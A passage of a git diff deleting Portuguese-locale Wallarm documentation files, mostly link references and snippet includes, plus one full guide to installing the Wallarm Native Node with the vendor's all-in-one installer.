-[deployment-platform-docs]: ../../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index 2318e75e7d..0000000000 --- a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-upgrade-docs]: ../../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../../about-wallarm/overview.md#us-cloud -[eu-cloud-docs]: ../../../../about-wallarm/overview.md#eu-cloud -[configure-wallarm-mode-docs]: ../../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#subscription-plans -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[node-token-types]: ../../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../../user-guides/ip-lists/denylist.md -[denylist-view-events-docs]: ../../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md b/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index f1ff4a7abf..0000000000 --- a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -search: - exclude: true ---- - -[filtration-mode-priorities-docs]: ../../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[applications-docs]: ../../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[wallarm-modes-docs]: ../../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[subscriptions-docs]: ../../../../about-wallarm/subscription-plans.md#subscription-plans -[denylist-docs]: ../../../../user-guides/ip-lists/denylist.md -[denylist-view-events-docs]: ../../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/scaling.md b/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 8a7d0dbaad..0000000000 --- a/docs/pt-BR/installation/inline/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -search: - exclude: true ---- - -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[tarantool-memory-recommendations]: ../../../../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers - ---8<-- "latest/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/inline/overview.md b/docs/pt-BR/installation/inline/overview.md deleted file mode 100644 index 377cebe4d8..0000000000 --- a/docs/pt-BR/installation/inline/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/inline/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/ebpf/deployment.md b/docs/pt-BR/installation/kubernetes/ebpf/deployment.md deleted file mode 100644 index 80c6bb6be5..0000000000 --- a/docs/pt-BR/installation/kubernetes/ebpf/deployment.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/oob/ebpf/deployment.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/ebpf/helm-chart-for-wallarm.md b/docs/pt-BR/installation/kubernetes/ebpf/helm-chart-for-wallarm.md deleted file mode 100644 index ae39c457f7..0000000000 --- a/docs/pt-BR/installation/kubernetes/ebpf/helm-chart-for-wallarm.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/oob/ebpf/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/ebpf/selecting-packets.md b/docs/pt-BR/installation/kubernetes/ebpf/selecting-packets.md deleted file mode 100644 index cd261bab97..0000000000 --- a/docs/pt-BR/installation/kubernetes/ebpf/selecting-packets.md +++ /dev/null @@ -1,6 +0,0 @@ ---- -search: - exclude: true ---- - ---8<-- "latest/installation/oob/ebpf/selecting-packets.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/sidecar-proxy/customization.md b/docs/pt-BR/installation/kubernetes/sidecar-proxy/customization.md deleted file mode 100644 index 58af58d85c..0000000000 --- a/docs/pt-BR/installation/kubernetes/sidecar-proxy/customization.md +++ /dev/null @@ -1,8 +0,0 @@ -[single-split-containers-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/single-split-deployment.png -[port-forwarding-with-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-with-iptables.png -[port-forwarding-without-iptables-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/port-forwarding-without-iptables.png -[allocate-resources-for-node-docs]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md -[disable-acl-directive-docs]: ../../../admin-en/configure-parameters-en.md#disable_acl -[wallarm-attack-prevention-best-practices-docs]: ../../../quickstart/attack-prevention-best-practices.md - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/customization.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/sidecar-proxy/deployment.md b/docs/pt-BR/installation/kubernetes/sidecar-proxy/deployment.md deleted file mode 100644 index 9a43303fcb..0000000000 --- a/docs/pt-BR/installation/kubernetes/sidecar-proxy/deployment.md +++ /dev/null @@ -1,13 +0,0 @@ -[ip-lists-docs]: ../../../user-guides/ip-lists/overview.md -[deployment-platform-docs]: ../../../installation/supported-deployment-options.md -[sidecar-deployment-objects-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/deployment-objects.png -[nginx-ing-controller-docs]: ../../../admin-en/installation-kubernetes-en.md -[kong-ing-controller-docs]: ../../connectors/kong-api-gateway.md -[traffic-flow-with-wallarm-sidecar-img]: ../../../images/waf-installation/kubernetes/sidecar-controller/traffic-flow-with-wallarm.png -[create-wallarm-node-img]: ../../../images/user-guides/nodes/create-wallarm-node-name-specified.png -[ptrav-attack-docs]: ../../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/deployment.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md b/docs/pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md deleted file mode 100644 index d780cdab36..0000000000 --- a/docs/pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md +++ /dev/null @@ -1,14 +0,0 @@ -[sidecar-upgrade-docs]: ../../../updating-migrating/sidecar-proxy.md -[us-cloud-docs]: ../../../about-wallarm/overview.md#us-cloud -[eu-cloud-docs]: ../../../about-wallarm/overview.md#eu-cloud -[configure-wallarm-mode-docs]: ../../../admin-en/configure-wallarm-mode.md -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#subscription-plans -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[node-token-types]: ../../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[denylist-docs]: ../../../user-guides/ip-lists/denylist.md -[denylist-view-events-docs]: ../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/helm-chart-for-wallarm.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md b/docs/pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md deleted file mode 100644 index 22512a361c..0000000000 --- a/docs/pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md +++ /dev/null @@ -1,15 +0,0 @@ -[filtration-mode-priorities-docs]: ../../../admin-en/configure-wallarm-mode.md#setting-up-priorities-of-the-filtration-mode-configuration-methods-using-wallarm_mode_allow_override -[applications-docs]: ../../../user-guides/settings/applications.md -[custom-blocking-page-docs]: ../../../admin-en/configuration-guides/configure-block-page-and-code.md -[nginx-directives-docs]: ../../../admin-en/configure-parameters-en.md -[fallback-mode-docs]: ../../../admin-en/configure-parameters-en.md#wallarm_fallback -[parsers-docs]: ../../../user-guides/rules/request-processing.md -[libdetection-docs]: ../../../about-wallarm/protecting-against-attacks.md#libdetection-overview -[wallarm-modes-docs]: ../../../admin-en/configure-wallarm-mode.md -[passive-detection-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#passive-detection -[active-threat-verification-docs]: ../../../about-wallarm/detecting-vulnerabilities.md#active-threat-verification -[subscriptions-docs]: ../../../about-wallarm/subscription-plans.md#subscription-plans -[denylist-docs]: ../../../user-guides/ip-lists/denylist.md -[denylist-view-events-docs]: ../../../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips - ---8<-- "latest-pt-BR/installation/kubernetes/sidecar-proxy/pod-annotations.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/kubernetes/sidecar-proxy/scaling.md b/docs/pt-BR/installation/kubernetes/sidecar-proxy/scaling.md deleted file mode 100644 index 0c95f4f25f..0000000000 --- a/docs/pt-BR/installation/kubernetes/sidecar-proxy/scaling.md +++ /dev/null @@ -1,7 +0,0 @@ -[sidecar-docs]: deployment.md -[sidecar-arch-docs]: deployment.md#solution-architecture -[sidecar-conf-area]: customization.md#configuration-area -[tarantool-memory-recommendations]: ../../../admin-en/configuration-guides/allocate-resources-for-node.md#tarantool -[single-split-deployment]: customization.md#single-and-split-deployment-of-containers - ---8<-- "latest/installation/kubernetes/sidecar-proxy/scaling.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/multi-tenant/configure-accounts.md b/docs/pt-BR/installation/multi-tenant/configure-accounts.md deleted file mode 100644 index b5028b2d24..0000000000 --- a/docs/pt-BR/installation/multi-tenant/configure-accounts.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/multi-tenant/configure-accounts.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md b/docs/pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md deleted file mode 100644 index 79ebf0a40a..0000000000 --- a/docs/pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/multi-tenant/deploy-multi-tenant-node.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/multi-tenant/overview.md b/docs/pt-BR/installation/multi-tenant/overview.md deleted file mode 100644 index 45cacb18ab..0000000000 --- a/docs/pt-BR/installation/multi-tenant/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/multi-tenant/overview.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/native-node/all-in-one-conf.md b/docs/pt-BR/installation/native-node/all-in-one-conf.md deleted file mode 100644 index eb9bd11dbe..0000000000 --- a/docs/pt-BR/installation/native-node/all-in-one-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/all-in-one-conf.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/native-node/all-in-one.md b/docs/pt-BR/installation/native-node/all-in-one.md deleted file mode 100644 index ac299838a1..0000000000 --- a/docs/pt-BR/installation/native-node/all-in-one.md +++ /dev/null @@ -1,246 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md - -# Deploying the Native Node with All-in-One Installer - -The [Wallarm Native Node](../nginx-native-node-internals.md), which operates independently of NGINX, is designed for Wallarm connector self-hosted deployment and TCP traffic mirror analysis. You can run the Native Node on a virtual machine with a Linux OS using the all-in-one installer. - -## Use cases and deployment modes - -* When deploying a Wallarm node as part of a connector solution for [MuleSoft](../connectors/mulesoft.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md) on a self-hosted Linux OS machine. - - Use the installer in `connector-server` mode. -* When you need a security solution for [TCP traffic mirror analysis](../oob/tcp-traffic-mirror/deployment.md). - - Use the installer in `tcp-capture` mode. - -## Requirements - -The machine intended for running the Native Node with the all-in-one installer must meet the following criteria: - -* Linux OS. -* x86_64/ARM64 architecture. -* Executing all commands as a superuser (e.g. `root`). -* Outbound access to: - - * `https://meganode.wallarm.com` to download the Wallarm installer - * `https://us1.api.wallarm.com` or `https://api.wallarm.com` for US/EU Wallarm Cloud - * IP addresses below for downloading updates to attack detection rules and [API specifications][api-spec-enforcement-docs], as well as retrieving precise IPs for your [allowlisted, denylisted, or graylisted][ip-list-docs] countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* When running the node in the `connector-server` mode, a **trusted** SSL/TLS certificate for the machine's domain should be issued and uploaded to the machine along with the private key. -* When running the node in the `tcp-capture` mode: - - * Traffic and response mirroring must be configured with both source and target set up, and the prepared instance chosen as a mirror target. Specific environment requirements must be met, such as allowing specific protocols for traffic mirroring configurations. - * Mirrored traffic is tagged with either VLAN (802.1q), VXLAN, or SPAN. -* In addition to the above, you should have the **Administrator** role assigned in Wallarm Console. - -## Limitations - -* When using the all-in-one installer in `connector-server` mode, a **trusted** SSL/TLS certificate is required for the machine's domain. Self-signed certificates are not yet supported. -* [Custom blocking page and blocking code](../../admin-en/configuration-guides/configure-block-page-and-code.md) configurations are not yet supported. -* [Rate limiting](../../user-guides/rules/rate-limiting.md) by the Wallarm rule is not supported. -* [Multitenancy](../multi-tenant/overview.md) is not supported yet. - -## Installation - -### 1. Prepare Wallarm token - -To install node, you will need a token for registering the node in the Wallarm Cloud. To prepare a token: - -1. Open Wallarm Console → **Settings** → **API tokens** in the [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) or [EU Cloud](https://my.wallarm.com/settings/api-tokens). -1. Find or create API token with the `Node deployment/Deployment` usage type. -1. Copy this token. - -### 2. Download Wallarm installer - -Download Wallarm installation script and make it executable: - -=== "x86_64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.x86_64.sh - chmod +x aio-native-0.12.0.x86_64.sh - ``` -=== "ARM64 version" - ```bash - curl -O https://meganode.wallarm.com/native/aio-native-0.12.0.aarch64.sh - chmod +x aio-native-0.12.0.aarch64.sh - ``` - -### 3. Prepare the configuration file - -Create the `wallarm-node-conf.yaml` file on the machine with the following minimal configuration: - -=== "connector-server" - ```yaml - version: 2 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - In the `connector.tls_cert` and `connector.tls_key`, you specify the paths to a **trusted** certificate and private key issued for the machine's domain. -=== "tcp-capture" - ```yaml - version: 3 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - In the `goreplay.filter` parameter, you specify the network interface to capture traffic from. To check network interfaces available on the host: - - ``` - ip addr show - ``` - -[All configuration parameters](all-in-one-conf.md) - -### 4. Run the installer - -=== "connector-server" - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=connector-server --go-node-config= --host api.wallarm.com - ``` -=== "tcp-capture" - For the x86_64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - - For the ARM64 installer version: - - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh -- --batch --token --mode=tcp-capture --go-node-config= --host api.wallarm.com - ``` - -* The `WALLARM_LABELS` variable sets group into which the node will be added (used for logical grouping of nodes in the Wallarm Console UI). -* `` specifies the generated API token for the `Deploy` role. -* `` specifies the path to the configuration file prepared before. - -The provided configuration file will be copied to the path: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -If needed, you can change the copied file after the installation is finished. To apply the changes, you will need to restart the Wallarm service with `sudo systemctl restart wallarm`. - -### 5. Finish the installation - -=== "connector-server" - After deploying the node, the next step is to apply the Wallarm code to your API management platform or service in order to route traffic to the deployed node. - - 1. Contact sales@wallarm.com to obtain the Wallarm code bundle for your connector. - 1. Follow the platform-specific instructions to apply the bundle on your API management platform: - - * [MuleSoft](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) -=== "tcp-capture" - [Proceed to the deployment testing](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution). - -## Verifying the node operation - -To verify the node is detecting traffic, you can check the logs: - -* The Native Node logs are written to `/opt/wallarm/var/log/wallarm/go-node.log` by default. -* [Standard logs](../../admin-en/configure-logging.md) of the filtering node such as whether the data is sent to the Wallarm Cloud, detected attacks, etc. are located in the directory `/opt/wallarm/var/log/wallarm`. - -For additional debugging, set the [`log.level`](all-in-one-conf.md#loglevel) parameter to `debug`. - -## Installer launch options - -* As soon as you have the all-in one script downloaded, you can get **help** on it with: - - === "x86_64 version" - ``` - sudo ./aio-native-0.12.0.x86_64.sh -- --help - ``` - === "ARM64 version" - ``` - sudo ./aio-native-0.12.0.aarch64.sh -- --help - ``` -* You can also run the installer in an **interactive** mode and choose the required mode in the 1st step: - - === "x86_64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.x86_64.sh - ``` - === "ARM64 version" - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.12.0.aarch64.sh - ``` -* You can use the node in API Discovery-only mode (available since version 0.12.0). In this mode, attacks - including those detected by the Node's built-in mechanisms and those requiring additional configuration (e.g., credential stuffing, API specification violation attempts, and malicious activity from denylisted and graylisted IPs) - are detected and blocked locally (if enabled) but not exported to Wallarm Cloud. Since there is no attack data in the Cloud, [Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md) does not work. Traffic from whitelisted IPs is allowed. - - Meanwhile, [API Discovery](../../api-discovery/overview.md) and [security vulnerability detection](../../about-wallarm/detecting-vulnerabilities.md) remain fully functional, detecting relevant security entities and uploading them to the Cloud for visualization. - - This mode is for those who want to review their API inventory and identify sensitive data first, and plan controlled attack data export accordingly. However, disabling attack export is rare, as Wallarm securely processes attack data and provides [sensitive attack data masking](../../user-guides/rules/sensitive-data-rule.md) if needed. - - To enable API Discovery-only mode: - - 1. Create or modify the `/etc/wallarm-override/env.list` file: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Add the following variable: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. Follow the [node installation procedure](#installation). - - With the API Discovery-only mode enabled, the `/opt/wallarm/var/log/wallarm/wcli-out.log` log returns the following message: - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - -## Upgrade and reinstallation - -* To upgrade the node, follow the [instructions](../../updating-migrating/native-node/all-in-one.md). -* If there is a problem with the upgrade or reinstallation process: - - 1. Remove the current installation: - - ``` - sudo systemctl stop wallarm && sudo rm -rf /opt/wallarm - ``` - - 1. Install the node as usual following the installation steps from above. diff --git a/docs/pt-BR/installation/native-node/docker-image.md b/docs/pt-BR/installation/native-node/docker-image.md deleted file mode 100644 index 1cdaccda50..0000000000 --- a/docs/pt-BR/installation/native-node/docker-image.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/docker-image.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/native-node/helm-chart-conf.md b/docs/pt-BR/installation/native-node/helm-chart-conf.md deleted file mode 100644 index 5511e678fc..0000000000 --- a/docs/pt-BR/installation/native-node/helm-chart-conf.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/helm-chart-conf.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/native-node/helm-chart.md b/docs/pt-BR/installation/native-node/helm-chart.md deleted file mode 100644 index 78c8fbfdf7..0000000000 --- a/docs/pt-BR/installation/native-node/helm-chart.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/native-node/helm-chart.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/nginx-native-node-internals.md b/docs/pt-BR/installation/nginx-native-node-internals.md deleted file mode 100644 index 8f2d3ea44a..0000000000 --- a/docs/pt-BR/installation/nginx-native-node-internals.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/nginx-native-node-internals.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/nginx-plus.md b/docs/pt-BR/installation/nginx-plus.md deleted file mode 100644 index 1fc22baf4b..0000000000 --- a/docs/pt-BR/installation/nginx-plus.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest-pt-BR/installation/nginx-plus.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/nginx/all-in-one.md b/docs/pt-BR/installation/nginx/all-in-one.md deleted file mode 100644 index 925713af9b..0000000000 --- a/docs/pt-BR/installation/nginx/all-in-one.md +++ /dev/null @@ -1,32 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[waf-mode-recommendations]: ../../about-wallarm/deployment-best-practices.md#follow-recommended-onboarding-steps -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[waf-installation-instr-latest]: /installation/nginx/dynamic-module/ -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../../faq/nginx-compatibility.md#is-wallarm-filtering-node-compatible-with-the-custom-build-of-nginx -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[platform]: ../supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation - ---8<-- "latest-pt-BR/installation/nginx/all-in-one.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/nginx/dynamic-module-from-distr.md b/docs/pt-BR/installation/nginx/dynamic-module-from-distr.md deleted file mode 100644 index 06539c372a..0000000000 --- a/docs/pt-BR/installation/nginx/dynamic-module-from-distr.md +++ /dev/null @@ -1,31 +0,0 @@ -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[wallarm-status-instr]: ../../admin-en/configure-statistics-service.md -[memory-instr]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[waf-directives-instr]: ../../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[waf-mode-instr]: ../../admin-en/configure-wallarm-mode.md -[logging-instr]: ../../admin-en/configure-logging.md -[proxy-balancer-instr]: ../../admin-en/using-proxy-or-balancer-en.md -[process-time-limit-instr]: ../../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[configure-selinux-instr]: ../../admin-en/configure-selinux.md -[configure-proxy-balancer-instr]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[update-instr]: ../../updating-migrating/nginx-modules.md -[install-postanalytics-docs]: ../../../admin-en/installation-postanalytics-en/ -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[dynamic-dns-resolution-nginx]: ../../admin-en/configure-dynamic-dns-resolution-nginx.md -[ip-lists-docs]: ../../user-guides/ip-lists/overview.md -[install-postanalytics-instr]: ../../admin-en/installation-postanalytics-en.md -[img-node-with-several-instances]: ../../images/user-guides/nodes/wallarm-node-with-two-instances.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[nginx-custom]: ../custom/custom-nginx-version.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[oob-docs]: ../oob/overview.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png - ---8<-- "latest-pt-BR/installation/nginx/dynamic-module-from-distr.md" \ No newline at end of file diff --git a/docs/pt-BR/installation/nginx/dynamic-module.md b/docs/pt-BR/installation/nginx/dynamic-module.md deleted file mode 100644 index efd72b2a0e..0000000000 --- 